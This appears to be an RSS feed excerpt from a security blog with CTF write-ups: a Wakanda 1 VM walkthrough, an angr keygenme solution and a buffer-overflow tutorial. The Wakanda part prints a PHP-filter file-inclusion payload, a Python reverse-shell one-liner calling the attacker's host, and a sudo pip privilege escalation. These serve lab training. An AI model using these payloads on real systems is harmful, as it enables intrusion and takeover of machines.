Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds
[+] Scans completed
[+] Results saved to /root/.onetwopunch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks like SSH was running on port 3333 instead of the default 22. I didn’t have any user credentials at this point, and I hate bruteforcing SSH, so I turned my attention to port 80. This was a web server:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-08-11/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Right at the bottom, the author’s name is listed: mamadou. Usernames are always handy to collect during enumeration.&lt;/p&gt;

&lt;p&gt;I scanned the web server with Nikto to see if anything interesting came up:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# nikto -host http://`cat target.txt`
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.102
+ Target Hostname:    192.168.56.102
+ Target Port:        80
+ Start Time:         2018-08-10 23:23:49 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use &apos;-C all&apos; to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2018-08-10 23:24:07 (GMT-4) (18 seconds)
---------------------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No luck there. Next step was to look for any interesting files and directories being hosted. Plenty of tools for that, but these days I like gobuster so I let it search for html, php, js, and txt files:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://`cat target.txt` -l -x html,php,js,txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.56.102/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 302,307,200,204,301
[+] Show length  : true
[+] Extensions   : .html,.php,.js,.txt
=====================================================
/index.php (Status: 200) [Size: 1527]
/fr.php (Status: 200) [Size: 0]
/admin (Status: 200) [Size: 0]
/backup (Status: 200) [Size: 0]
/shell (Status: 200) [Size: 0]
/secret (Status: 200) [Size: 0]
/secret.txt (Status: 200) [Size: 40]
/troll (Status: 200) [Size: 0]
/hahaha (Status: 200) [Size: 0]
/hohoho (Status: 200) [Size: 0]
=====================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Right off the bat it found several empty files. sercret.txt looked promising, but pulling it down revealed that it was just a troll. That left just index.php, so I went ahead and pulled it down. Here’s the interesting part:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# curl http://`cat target.txt`
.
.
.
     &amp;lt;header class=&quot;masthead mb-auto&quot;&amp;gt;
        &amp;lt;div class=&quot;inner&quot;&amp;gt;
          &amp;lt;h3 class=&quot;masthead-brand&quot;&amp;gt;Vibranium Market&amp;lt;/h3&amp;gt;
          &amp;lt;nav class=&quot;nav nav-masthead justify-content-center&quot;&amp;gt;
            &amp;lt;a class=&quot;nav-link active&quot; href=&quot;#&quot;&amp;gt;Home&amp;lt;/a&amp;gt;
            &amp;lt;!-- &amp;lt;a class=&quot;nav-link active&quot; href=&quot;?lang=fr&quot;&amp;gt;Fr/a&amp;gt; --&amp;gt;
          &amp;lt;/nav&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/header&amp;gt;
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One of the lines has been commented out. From the looks of it, it uses the lang parameter to change the page’s language. In this case, passing it fr changes the language to French. I figured fr probably corresponded to fr.php which was identified by gobuster. I gave it a shot and sure enough the language changes to French:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# curl &quot;http://`cat target.txt`?lang=fr&quot;
.
.
.
      &amp;lt;main role=&quot;main&quot; class=&quot;inner cover&quot;&amp;gt;
        &amp;lt;h1 class=&quot;cover-heading&quot;&amp;gt;Coming soon&amp;lt;/h1&amp;gt;
        &amp;lt;p class=&quot;lead&quot;&amp;gt;
          Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l&apos;écoute!        &amp;lt;/p&amp;gt;
        &amp;lt;p class=&quot;lead&quot;&amp;gt;
          &amp;lt;a href=&quot;#&quot; class=&quot;btn btn-lg btn-secondary&quot;&amp;gt;Learn more&amp;lt;/a&amp;gt;
        &amp;lt;/p&amp;gt;
      &amp;lt;/main&amp;gt;
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since lang is reading the contents of a local file, I made the assumption that this was vulnerable to some kind of local file inclusion attack. I tried passing it variations of “../../../etc/passwd%00” but no luck there. So then I tried using php filters which turned out to be more promising. The contents of fr.php were returned Base-64 encoded, and decoding it revealed the contents of fr.php:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# curl -s &quot;http://`cat target.txt`/?lang=php://filter/convert.base64-encode/resource=fr&quot; | head -1
PD9waHAKCiRtZXNzYWdlPSJQcm9jaGFpbmUgb3V2ZXJ0dXJlIGR1IHBsdXMgZ3JhbmQgbWFyY2jDqSBkdSB2aWJyYW5pdW0uIExlcyBwcm9kdWl0cyB2aWVubmVudCBkaXJlY3RlbWVudCBkdSB3YWthbmRhLiBSZXN0ZXogw6AgbCfDqWNvdXRlISI7
root@kali:~/pwn# curl -s &quot;http://`cat target.txt`/?lang=php://filter/convert.base64-encode/resource=fr&quot; | head -1 | base64 -d
&amp;lt;?php

$message=&quot;Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l&apos;écoute!&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great! The only other PHP file I was aware of at this time was index.php, so I decided to grab it and see if its contents could move me further into gaining a foothold into the system:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# curl -s &quot;http://`cat target.txt`/?lang=php://filter/convert.base64-encode/resource=index&quot; | head -1 | base64 -d
&amp;lt;?php
$password =&quot;Niamey4Ever227!!!&quot; ;//I have to remember it

if (isset($_GET[&apos;lang&apos;]))
{
include($_GET[&apos;lang&apos;].&quot;.php&quot;);
}

?&amp;gt;
.
.
.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ah a password! I already had a username, so I figured the two were credentials for logging into something. Since the only other service I found was SSH on port 3333, it made sense to give that a shot:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# ssh -p3333 mamadou@`cat target.txt`
mamadou@192.168.56.102&apos;s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Success, kind of. Looks like it dropped me into a Python shell. No problem, that was easy to escape by spawning a shell on a pseudo-terminal:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import pty;pty.spawn(&quot;/bin/bash&quot;)
&amp;gt;&amp;gt;&amp;gt; import pty;pty.spawn(&quot;/bin/bash&quot;)
mamadou@Wakanda1:~$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
mamadou@Wakanda1:~$ ls -l
total 4
-rw-r--r-- 1 mamadou mamadou 41 Aug  1 15:52 flag1.txt
mamadou@Wakanda1:~$ cat flag1.txt

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first flag was right there, owned by mamadou and so it was readble. Only two flags to go. Since the name of the flags were given in the challenge description I decided to just use the find command to look for it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mamadou@Wakanda1:~$ find / -name flag2.txt 2&amp;gt;/dev/null
/home/devops/flag2.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So a second user called devops exists. I quickly checked /etc/passwd and found that no other users (other than root) existed on the system. I started enumerating the system to look for any misconfigurations or any odd files that would allow me to privilege escalate to the devops user. Something finally came up when I decided to look for any files belonging to devops:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mamadou@Wakanda1:~$ find / -user devops 2&amp;gt;/dev/null
/srv/.antivirus.py
/tmp/test
/home/devops
/home/devops/.bashrc
/home/devops/.profile
/home/devops/.bash_logout
/home/devops/flag2.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Couple of interesting files, /srv/.antivirus.py and /tmp/test. I looked at /srv/.antivirus.py and it contained this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;open(&apos;/tmp/test&apos;,&apos;w&apos;).write(&apos;test&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This Python script was world writable so I could modify it to execute whatever I wanted. However it wasn’t SUID devops, so it would just run under the mamadou user. I looked at /tmp/test and that’s when I noticed something interesting:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mamadou@Wakanda1:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 devops developer 4 Aug 11 00:27 test
mamadou@Wakanda1:~$ date
Sat Aug 11 00:30:13 EDT 2018
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The timestamp that the /tmp/test was created was just two minutes ago from when I ran the date command. That led me to believe that /srv/.antivirus was being run on some kind of scheduler. I waited a few more minutes and checked again and noticed that /tmp/test had been updated:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mamadou@Wakanda1:~$ ls -l /tmp/test
-rw-r--r-- 1 devops developer 4 Aug 11 00:32 /tmp/test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s a 5 minute difference since the last run. So it looks like the scheduler executes this Python script as the devops user every 5 minutes. At this point I had a game plan. I modified the .antivirus.py so that it would connect back to my machine and give me a reverse shell as the devops user when the scheduler executed the script&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mamadou@Wakanda1:/srv$ cat .antivirus.py
open(&apos;/tmp/test&apos;,&apos;w&apos;).write(&apos;test&apos;)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.56.101&quot;,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next I started a netcat listener on my machine and waited. 5 minutes later, I got a shell as devops:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# nc -lvp 9999
listening on [any] 9999 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 39406
/bin/sh: 0: can&apos;t access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I could now get the second flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat ~/flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next step was to privelage escalate to the root user to get root.txt; which I assumed was in /root. As it turns out, devops has sudo access:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So devops can run pip as the root user. That’s different. I checked the permissions on /usr/bin/pip and sure enough, it was SUID root.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls -l /usr/bin/pip
-rwxr-sr-- 1 root developer 281 Feb 27  2015 /usr/bin/pip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So how to get a root shell? pip can install a package from a local directory when the -e flag is passed to the install option. pip will look for a setup.py in the directory and execute that. So all I needed to do was create a setup.py that would give me a root shell. In this case, I decided to re-use the connect-back script in .antivirus.py and just changed the port number.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ pwd
/home/devops
$ mkdir win
$ echo &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.56.101&quot;,9998));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos; &amp;gt; win/setup.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I started up another netcat listener to receive the root shell, and executed pip with sudo:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# nc -lvp 9998
listening on [any] 9998 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 57599
/bin/sh: 0: can&apos;t access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
root.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Success! The root.txt was now accessible, reading it netted me the final flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# cat /root/root.txt
 _    _.--.____.--._
( )=.-&quot;:;:;:;;&apos;:;:;:;&quot;-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-&quot;             &quot;-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wakanda forever!&lt;/p&gt;
</description>
        <pubDate>Fri, 10 Aug 2018 16:50:43 +0000</pubDate>
        <link>http://blog.techorganic.com/2018/08/10/wakanda-hacking-challenge/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2018/08/10/wakanda-hacking-challenge/</guid>
      </item>
    
      <item>
        <title>STEM Cyber Challenge 2018: Keygenme</title>
        <description>&lt;p&gt;I got a chance to play a bit of the STEM Cyber Challenge 2018 CTF over the weekend. This one is called keygenme, a 400 point reverse engineering challenge. Like its name suggests, the binary prompts for input and runs some checks on it to determine if it’s a valid key.&lt;/p&gt;

&lt;p&gt;I analyzed the binary using Binary Ninja and found 20 different checks in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main()&lt;/code&gt;. Here’s what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check_1()&lt;/code&gt; looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-04-21/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It basically does certain comparisons with different characters in our input along with some math thrown in. A condition is checked at the very and to determine if the check passed or failed. Obviously we want it to pass.&lt;/p&gt;

&lt;p&gt;The other check functions are similar, and if we pass them all, then our input is basically the flag. While solving it looked complicated, it was actually a breeze with Angr.&lt;/p&gt;

&lt;p&gt;The only thing I had to tell Angr to look for was the success address, which is 0x400eda&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-04-21/02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Angr uses symbolic execution to determine the input required to get to a target. I used the example from &lt;a href=&quot;https://github.com/angr/angr&quot;&gt;https://github.com/angr/angr&lt;/a&gt; and updated it to work with the binary:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python
import angr

project = angr.Project(&quot;./keygenme&quot;, auto_load_libs=False)
@project.hook(0x400eda)
def print_flag(state):
    print &quot;Flag: {0}\n&quot;.format(state.posix.dump_fd(0))
    project.terminate_execution()

project.execute()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running it gives us the flag MCA{A0826B45FE84A765}:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-04-21/03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 21 Apr 2018 21:00:48 +0000</pubDate>
        <link>http://blog.techorganic.com/2018/04/21/stem-cyber-challenge-2018-keygenme/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2018/04/21/stem-cyber-challenge-2018-keygenme/</guid>
      </item>
    
      <item>
        <title>DC416 Introduction to 64-bit Linux Exploit Development: vuln03 Solution</title>
        <description>&lt;p&gt;I had an awesome time presenting a workshop on an introduction to Linux binary exploitation at Defcon Toronto. As part of the workshop, I sent attendees home with a challenge binary called vuln03 to be solved at their own time using the information they learned. vuln03 came with a SUID root version called rootme that would pop a rootshell if correctly exploited. This is a  writeup on how to reverse engineer this binary and figure out how to exploit it. If you’re stuck trying to solve it, or if you’ve solved it and just want to compare notes, keep reading!&lt;/p&gt;

&lt;p&gt;Before getting started, you may want to refer to the slides and cheatsheets that were provided in the workshop for reference. You can find those &lt;a href=&quot;https://github.com/superkojiman/dc416-exploitdev-intro&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s start by running the binary to see what it does:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Running it with and without arguments results in the same output being printed. Let’s run it with ltrace now and see if we can get some more information:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It seems like if we pass a parameter, the output is different. The binary takes a different path and calls a few other functions before printing out “Nope.”.&lt;/p&gt;

&lt;p&gt;Let’s go ahead and open it up in IDA Pro 7 Freeware and dig a bit deeper.&lt;/p&gt;

&lt;p&gt;A quick glance at the function list shows some interesting entries:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;gimme_shell() looks particularly interesting. Examining that function shows that it calls system(“/bin/sh”) to spawn a shell:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This seems to be a good place to end up in to get our shell. Checking for XREFS to this function shows that nothing calls it. So it’s just floating there waiting for us to jump to.&lt;/p&gt;

&lt;p&gt;Look at the read_file() function next. This function takes a single parameter that gets copied into var_34. var_34 is then used later on in the function as the third parameter to read(); which is the number of bytes to read:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like this function calls open(“in.txt”, O_RDONLY), and reads the contents of the file into a buffer. The number of bytes it reads into the buffer is determined by the parameter we pass into read_file(). Looking at the function prologue, we can see that this function allocates 64 bytes for its stack frame. Perhaps if we can send a parameter that’s a large enough size, we can overwrite the saved return pointer.&lt;/p&gt;

&lt;p&gt;So where’s read_file() being called from? Checking the XREFS shows that it’s being called in two locations in main():&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In one instance, a integer of 0x40 bytes is passed into read_file(), and in the second, 0x28 bytes. 0x40 is 64 bytes, which is the size of read_file()’s stack frame. That might be enough to overwrite the saved return pointer. Looking at the disassembly for main() we see that a CMP is done to determine if var_4 is equal to 0x1337. If it is, it executes the branch that passes the integer value 64 into read_file(). This is the branch we want to take:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to figure out how to get this check to succeed, we need to see what’s going on with var_4:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/07.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So var_4 is a local variable at RBP-0x4. It’s initialized to the value 0x7331, and the next time it’s used is to check if it’s value is 0x1337. There doesn’t seem to be a way to change this value in between the initialization and check.&lt;/p&gt;

&lt;p&gt;Looking at the instructions between the initialization and the check, we see calls to a function called suid_friendly() and strcpy(). If you recall, these functions were called and displayed by ltrace when we passed a parameter to the binary. So we’re definitely on the right track. strcpy() doesn’t do bounds checking when copying data into a buffer. Perhaps we can take advantage of that. Let’s see what it’s doing:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It’s copying the parameter we pass into the binary into a buffer. Since we control the size of the parameter, let’s see what happens when we pass a parameter that’s larger than main()’s stack frame of 0x30 bytes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like we’re able to crash the binary with a segmentation fault. So we’re definitely overwriting something we’re not supposed to. Let’s jump into gdb now, set a breakpoint at the call to strcpy(), and see how far away it is from the saved return pointer. We’ll pass the binary a string of 100 bytes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The destination buffer is at 0x7fffffffe200:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking the location of the saved return pointer and subtracting the difference between the two gives us an offset of 40 bytes:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So it seems we can overwrite the saved return pointer, perhaps with the address of gimme_shell() and we win right? Let’s go ahead and craft an exploit that sends a payload of 40 bytes followed by the address of gimme_shell():&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This prints out the string to stdout, so we can run this within gdb:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So something has gone wrong. It looks like we’ve only overwritten part of the saved return pointer and it shows up as 0x7fff0040078b instead of just 0x40078b. The reason this happened is because of null bytes. Let’s take a look at a hexdump of our payload:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;strcpy() treats null bytes as string terminators, so it truncates our payload which means we only overwrite part of the saved return pointer. So it looks like we can’t jump into gimme_shell() from here.&lt;/p&gt;

&lt;p&gt;Let’s look at main()’s layout again. IDA shows that strcpy() copies our string into dest, and dest is at offset 0x20 from RBP. However, it also shows that var_4 is at offset 0x4 from RBP. That means if we overflow the buffer, we also overwrite var_4. What’s var_4? The variable that’s checked to see if it has the value 0x1337:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you remember, this variable is initialized to 0x7331, but we can definitely overwrite it. We just need to figure out how far away it is from the dest buffer. So once again, set a breakpoint at the call to strcpy(), print the address of RBP-4, and calculate the difference:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;var_4 is 28 bytes from the buffer. We can update our exploit to overwrite this variable with the value 0x1337:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This won’t give us a shell just yet, but it should put is in the correct branch that calls read_file(0x40). We can verify this with gdb:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The compare should now result in equality which means we execute the call to read_file(0x40):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-02-23/20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

